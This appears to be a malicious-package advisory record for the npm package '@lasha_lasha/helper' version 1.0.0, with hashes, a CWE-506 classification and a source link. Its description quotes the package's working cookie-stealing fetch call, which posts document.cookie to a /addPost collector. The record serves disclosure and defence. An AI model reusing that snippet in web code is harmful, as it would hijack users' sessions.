-= Per source details. Do not edit below this line.=-
The package's main entry contains a browser-targeted script that reads document.cookie and POSTs it with an 'EXFIL:' prefix to the relative URL /addPost (fetch('/addPost', { method:'POST', body: JSON.stringify({content: 'EXFIL:' + document.cookie}) })). The code has no legitimate library function; its only behavior is to harvest session cookies from whatever page it runs in and send them to a same-origin collector endpoint. Any consumer who bundles or injects this module into a web page would cause their users' session cookies to be exfiltrated.
{
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-022869",
"import_time": "2026-11-19T07:12:43.10991787Z",
"modified_time": "2026-11-19T06:54:04Z",
"sha256": "385a7c95f6e587dbef7b67326deebf63c291094b305f0e96cfada0d9c364b3f5",
"source": "amazon-inspector",
"versions": [
"1.0.0"
]
}
]
}[
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
]
{
"evidence_files": [
{
"path": "index.js",
"sha256": "b0c235c41ac90cbe86f5a41e2e6726ee46c4fea20fce05f56e9b9ac0e46ba4f7",
"tlsh": "dbc08ce669194c02af7ee416297ca0a416380c1ca00768918880044d0ace6484934830"
}
],
"package_integrity": [
{
"filename": "helper-1.0.0.tgz",
"hashes": {
"sha1": "ab6ad387a28017f7ad1a0f02d8536292f5d465ef",
"sha512_sri": "sha512-Cefrp334ieGCt3k5ERKXq7MEG03BdFb2P/zNdtCXbzzN53ru2MhnosJPCcsWUuyjDBMqekoQPh8iZFrCH3GBrQ=="
}
}
]
}
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@lasha_lasha/helper/MAL-2026-20191.json"